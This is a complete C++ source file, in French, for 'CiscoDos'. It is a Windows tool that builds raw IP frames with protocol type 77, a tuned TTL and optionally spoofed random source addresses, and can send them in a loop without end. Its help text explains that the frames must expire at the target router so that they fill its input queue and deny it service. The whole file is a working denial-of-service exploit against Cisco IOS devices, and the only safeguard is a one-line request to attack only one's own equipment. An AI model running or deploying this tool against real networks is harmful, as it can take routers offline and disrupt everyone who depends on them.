|
//
********************************************************
// ********************************************
// Nom : CiscoDos.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 28 Juillet 2003
// version : 4.0.3.10
// Licence : Cette executable est libre de toute utilisation.
// La seule condition existante est de faire référence
// au site http://www.frameip.com afin de respecter le travail
d'autrui.
// ********************************************
// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"
// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command
Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")
// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void affichage_de_l_aide(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);
// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac; // Entête
Ethernet
struct ipv4 entete_ipv4; // Entete IP
char data_a_envoyer[65535]; // Data
size_t taille_de_data; // Longueur du char *, je n'utilise pas strlen
car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // Entete IP +
data
int nombre_de_caractere_emis; // Variable
récupérant le nombre de caractères émis
unsigned long loops;
// Compteur permettant de lancer x fois les trames
char ip_destination[16]; // Adresse IP Destination permettant
d'initier entete_ipv4.ip_destination
bool bouclage_infinie; // Variable
permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire; // Acive ou
désactive le mode IP Source Aléatoire
unsigned int choix_mode_d_envoi;
// Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface;
// Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure
possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon;
// Adresse MAC
int main (int argc, char* argv[])
{
initiation_des_variables();
gestion_des_arguments(argc,argv);
if (loops==0)
// Conditionne si le bouclage infinie
bouclage_infinie=TRUE;
while ( (loops!=0)||(bouclage_infinie==TRUE) )
{
loops--;
Changement_aleatoire_des_valeurs();
//
********************************************************
// Envoi de la trame
//
********************************************************
if (choix_mode_d_envoi==0)
envoi_de_la_trame_winsock();
else
envoi_de_la_trame_pcap();
affichage_du_resultat();
}
printf("\n\n");
return(1);
}
void initiation_des_variables(void)
{
unsigned int i;
// ********************************************************
// Initiation diverse
// ********************************************************
srand(GetTickCount());
// ********************************************************
// Affichage de la banniere
// ********************************************************
printf("\nCiscoDos - Deny Of Service Cisco IOS - Version
4.0.3.10");
printf("\nCreate on July 28, 2003, Last compilation on
August 29, 2006");
printf("\nCreated by Sebastien FONTAINE - http://www.frameip.com");
printf("\n");
// ********************************************************
// Initiation des arguments
// ********************************************************
loops=1;
bouclage_infinie=false;
ip_source_aleatoire=true;
choix_mode_d_envoi=1;
numero_de_l_interface=0;
liste_des_interfaces=recuperation_des_interfaces();
// ********************************************************
// Options de l'entête MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
{
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
entete_mac.destination[i]=255;
}
entete_mac.type=htons(2048); // 08 00 indiquant un
datagramme IP
// ********************************************************
// Initialisation des data
// ********************************************************
strcpy(data_a_envoyer,"www.frameip.com");
taille_de_data=strlen(data_a_envoyer);
// ********************************************************
// Initialisation de l'entete Ip
// ********************************************************
entete_ipv4.ihl=5;
entete_ipv4.version=4;
entete_ipv4.tos=0;
entete_ipv4.length=0;
entete_ipv4.id=0;
// Il est initialisé plutard
entete_ipv4.offset=0;
entete_ipv4.ttl=100;
entete_ipv4.type=77;
entete_ipv4.ip_source=0; //
Il est initialisé plutard
strcpy(ip_destination,"192.168.101.254");
entete_ipv4.ip_destination=resolution_de_nom(TRUE,ip_destination);
}
void affichage_de_l_aide(void)
{
unsigned int i;
printf("\n");
printf("\n-? This help");
printf("\n-send_mode 0=Soket 1=Libpcap Default:
%d",choix_mode_d_envoi);
printf("\n-loops Number of loops Default:
%d (0 => no stop)",loops);
printf("\n\nFREE INTERFACES");
for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
printf("\n%d - %s",i,liste_des_interfaces.description[i]);
printf("\n-interface Interface choice Default:
%d",numero_de_l_interface);
printf("\n\nIP HEADER OPTIONS (-mac_type 2048)");
printf("\n-ip_source @Ip or host name Default:
%d (0 => random)",entete_ipv4.ip_source);
printf("\n-ip_destination @Ip or host name Default:
%s (0 => random)",ip_destination);
printf("\n-ip_ttl Time To Live Default:
%d",entete_ipv4.ttl);
printf("\n-ip_type Ip Protocol Default:
%d",entete_ipv4.type);
printf("\n");
printf("\nsample : ciscodos.exe -interface 2 -ip_ttl 9 -loops
100");
printf("\n");
printf("\nYou must choise the good TTL, because the frame
must expire to the target.");
printf(" If you want to deny the target, you must send
servals frames to full the target queue.");
printf(" You must try to deny only YOUR equipment.");
printf("\n");
printf("\n");
exit(0);
}
void gestion_des_arguments(int argc,char* argv[])
{
char *caractere_non_convertit;
int i;
// ********************************************************
// S'il n'y a pas d'argument
// ********************************************************
if (argc==1)
affichage_de_l_aide();
// ********************************************************
// Récupération des arguments
// ********************************************************
for (i=1;i<argc;i=i+1)
{
//
********************************************************
// Options diverses
//
********************************************************
if ( (strcmp(strlwr(argv[i]),"-?")==0) || (strcmp(strlwr(argv[i]),"/?")==0)
)
affichage_de_l_aide();
if (strcmp(strlwr(argv[i]),"-send_mode")==0)
{
choix_mode_d_envoi=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if (choix_mode_d_envoi!=1)
choix_mode_d_envoi=0;
}
if ( (strcmp(strlwr(argv[i]),"-loops")==0)
|| (strcmp(strlwr(argv[i]),"/loops")==0) )
{
loops=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if (loops==0)
bouclage_infinie=TRUE;
else
bouclage_infinie=FALSE;
}
//
********************************************************
// Choix de l'interface
//
********************************************************
if (strcmp(strlwr(argv[i]),"-interface")==0)
numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
//
********************************************************
// Options de l'entête IP
//
********************************************************
if ( (strcmp(strlwr(argv[i]),"-ip_source")==0)
|| (strcmp(strlwr(argv[i]),"/ip_source")==0) )
if (argv[i+1]==0)
ip_source_aleatoire=TRUE;
else
{
ip_source_aleatoire=FALSE;
entete_ipv4.ip_source=(unsigned
long)resolution_de_nom(FALSE,argv[i+1]);
}
if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0)
|| (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
entete_ipv4.ip_destination=(unsigned
long)resolution_de_nom(FALSE,argv[i+1]);
if ( (strcmp(strlwr(argv[i]),"-ip_ttl")==0) || (strcmp(strlwr(argv[i]),"/ip_ttl")==0)
)
entete_ipv4.ttl=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if ( (strcmp(strlwr(argv[i]),"-ip_type")==0) ||
(strcmp(strlwr(argv[i]),"/ip_type")==0) )
entete_ipv4.type=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
}
// ********************************************************
// Préparation des adresses MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
}
void Changement_aleatoire_des_valeurs()
{
// ********************************************************
// Random de l'IP Source
// ********************************************************
if (ip_source_aleatoire==TRUE)
entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);
// ********************************************************
// Random de l'ID IP
// ********************************************************
entete_ipv4.id=(unsigned
short)(rand()%65536);
// Tire entre 0 et 65535
}
void envoi_de_la_trame_winsock(void)
{
WSADATA initialisation_win32;
SOCKADDR_IN information_sur_la_destination;
SOCKET id_de_la_socket;
int tampon;
// ********************************************************
// Initialisation de la Socket
// ********************************************************
if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
gestion_des_erreurs(1,"WSAStartup",1,1);
// ********************************************************
// Ouverture d'une Socket
// ********************************************************
id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (id_de_la_socket==INVALID_SOCKET)
gestion_des_erreurs(1,"socket",1,1);
// ********************************************************
// Activation de l'option permettant d'inclure l'entete IP
lors de l'emission
// ********************************************************
if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char
*)&tampon,sizeof(tampon))!=0)
gestion_des_erreurs(1,"setsockopt",1,1);
// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_ipv4,sizeof(struct
ipv4));
memcpy(trame_a_envoyer+sizeof(struct ipv4),data_a_envoyer,taille_de_data);
// ********************************************************
// Paramètre nécessaire au sendto
// ********************************************************
information_sur_la_destination.sin_family=AF_INET;
information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;
// ********************************************************
// Envoi de la trame en winsock
// ********************************************************
nombre_de_caractere_emis=sendto(id_de_la_socket,(char *)trame_a_envoyer,sizeof(struct
ipv4)+(int)taille_de_data,0,(struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
if (nombre_de_caractere_emis==-1)
gestion_des_erreurs(1,"sendto",1,1);
// ********************************************************
// Fermeture de la socket correspondant à la commande socket()
// ********************************************************
closesocket(id_de_la_socket);
// ********************************************************
// quite propement le winsock ouvert avec la commande
WSAStartup
// ********************************************************
WSACleanup(); // (A appeller autant de fois qu'il a été
ouvert)
}
void envoi_de_la_trame_pcap(void)
{
pcap_t *pointeur_interface;
char buffer_d_erreur[PCAP_ERRBUF_SIZE];
// ********************************************************
// Accède à l'interface
// ********************************************************
if ((pointeur_interface=pcap_open_live(liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
gestion_des_erreurs(1,"pcap_open_live",1,1);
// ********************************************************
// Calcul de la longueur totale
// ********************************************************
entete_ipv4.length=htons((unsigned short)(sizeof(struct
ipv4)+taille_de_data));
// ********************************************************
// Calcul du checksum IP
// ********************************************************
entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);
// ********************************************************
// Concatenation des différentes couches
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct
mac));
memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short
*)&entete_ipv4,sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct
ipv4),data_a_envoyer,taille_de_data);
// ********************************************************
// Envoi de la trame
// ********************************************************
if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,sizeof(struct
mac)+sizeof(struct ipv4)+taille_de_data)!=0)
gestion_des_erreurs(1,"pcap_sendpacket",1,1);
// ********************************************************
// Fermeture de l'accès à l'interface
// ********************************************************
pcap_close(pointeur_interface);
}
void affichage_du_resultat()
{
struct in_addr convertion_inet_addr;
// ********************************************************
// Affichage du resultat
// ********************************************************
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
printf("\nThe frame was sent with ip_type %d from
%s",entete_ipv4.type,inet_ntoa(convertion_inet_addr));
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
printf(" to %s",inet_ntoa(convertion_inet_addr));
} |
